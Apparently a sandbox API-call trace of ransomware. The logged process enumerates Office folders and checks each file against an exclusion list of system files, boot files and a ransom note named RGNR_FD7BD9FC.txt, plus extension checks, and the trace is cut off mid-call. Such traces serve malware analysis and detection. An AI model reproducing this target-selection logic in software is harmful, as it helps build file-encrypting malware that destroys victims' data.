FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0066.683] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".") returned 1 [0066.683] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="..") returned 1 [0066.683] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0066.684] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="SERCONV.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="USP10.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="USP10.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0066.684] lstrcmpiW (lpString1="WISC30.DLL", lpString2=".") returned 1 [0066.684] lstrcmpiW (lpString1="WISC30.DLL", lpString2="..") returned 1 [0066.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0066.684] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0066.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x755a6640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x755a6640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0066.685] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x755a6640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x755a6640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.685] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7643ad00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7643ad00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0066.685] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0066.685] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.685] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACECORE.DLL" | out: lpString1="ACECORE.DLL") returned="ACECORE.DLL" [0066.685] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned=".DLL" [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="autorun.inf") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="boot.ini") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="bootfont.bin") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="bootsect.bak") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="bootmgr") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="bootmgr.efi") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="bootmgfw.efi") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="desktop.ini") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="iconcache.db") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="ntldr") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="ntuser.dat") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="ntuser.dat.log") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="ntuser.ini") returned -1 [0066.685] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="thumbs.db") returned -1 [0066.685] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.685] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.685] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.685] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0066.685] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.685] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEDAO.DLL" | out: lpString1="ACEDAO.DLL") returned="ACEDAO.DLL" [0066.685] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned=".DLL" [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="autorun.inf") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="boot.ini") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="bootfont.bin") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="bootsect.bak") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="bootmgr") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="bootmgr.efi") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="bootmgfw.efi") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="desktop.ini") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="iconcache.db") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="ntldr") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="ntuser.dat") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="ntuser.dat.log") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="ntuser.ini") returned -1 [0066.686] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="thumbs.db") returned -1 [0066.686] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.686] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.686] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.686] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0066.686] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.686] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEERR.DLL" | out: lpString1="ACEERR.DLL") returned="ACEERR.DLL" [0066.686] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned=".DLL" [0066.686] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.686] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="autorun.inf") returned -1 [0066.686] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="boot.ini") returned -1 [0066.686] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="bootfont.bin") returned -1 [0066.686] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="bootsect.bak") returned -1 [0066.686] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="bootmgr") returned -1 [0066.686] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="bootmgr.efi") returned -1 [0066.687] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="bootmgfw.efi") returned -1 [0066.687] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="desktop.ini") returned -1 [0066.687] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="iconcache.db") returned -1 [0066.687] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="ntldr") returned -1 [0066.687] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="ntuser.dat") returned -1 [0066.687] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="ntuser.dat.log") returned -1 [0066.687] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="ntuser.ini") returned -1 [0066.687] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="thumbs.db") returned -1 [0066.687] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.687] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.687] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.687] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0066.687] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.687] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEES.DLL" | out: lpString1="ACEES.DLL") returned="ACEES.DLL" [0066.687] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned=".DLL" [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="autorun.inf") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="boot.ini") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="bootfont.bin") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="bootsect.bak") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="bootmgr") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="bootmgr.efi") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="bootmgfw.efi") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="desktop.ini") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="iconcache.db") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="ntldr") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="ntuser.dat") returned -1 [0066.687] lstrcmpiW (lpString1="ACEES.DLL", lpString2="ntuser.dat.log") returned -1 [0066.688] lstrcmpiW (lpString1="ACEES.DLL", lpString2="ntuser.ini") returned -1 [0066.688] lstrcmpiW (lpString1="ACEES.DLL", lpString2="thumbs.db") returned -1 [0066.688] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.688] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.688] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.688] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0066.688] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.688] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEEXCH.DLL" | out: lpString1="ACEEXCH.DLL") returned="ACEEXCH.DLL" [0066.688] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned=".DLL" [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="autorun.inf") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="boot.ini") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="bootfont.bin") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="bootsect.bak") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="bootmgr") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="bootmgr.efi") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="bootmgfw.efi") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="desktop.ini") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="iconcache.db") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="ntldr") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="ntuser.dat") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="ntuser.dat.log") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="ntuser.ini") returned -1 [0066.688] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="thumbs.db") returned -1 [0066.688] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.688] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.688] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.688] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0066.688] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.688] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEEXCL.DLL" | out: lpString1="ACEEXCL.DLL") returned="ACEEXCL.DLL" [0066.689] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned=".DLL" [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="autorun.inf") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="boot.ini") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="bootfont.bin") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="bootsect.bak") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="bootmgr") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="bootmgr.efi") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="bootmgfw.efi") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="desktop.ini") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="iconcache.db") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="ntldr") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="ntuser.dat") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="ntuser.dat.log") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="ntuser.ini") returned -1 [0066.689] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="thumbs.db") returned -1 [0066.689] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.689] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.689] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.689] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: 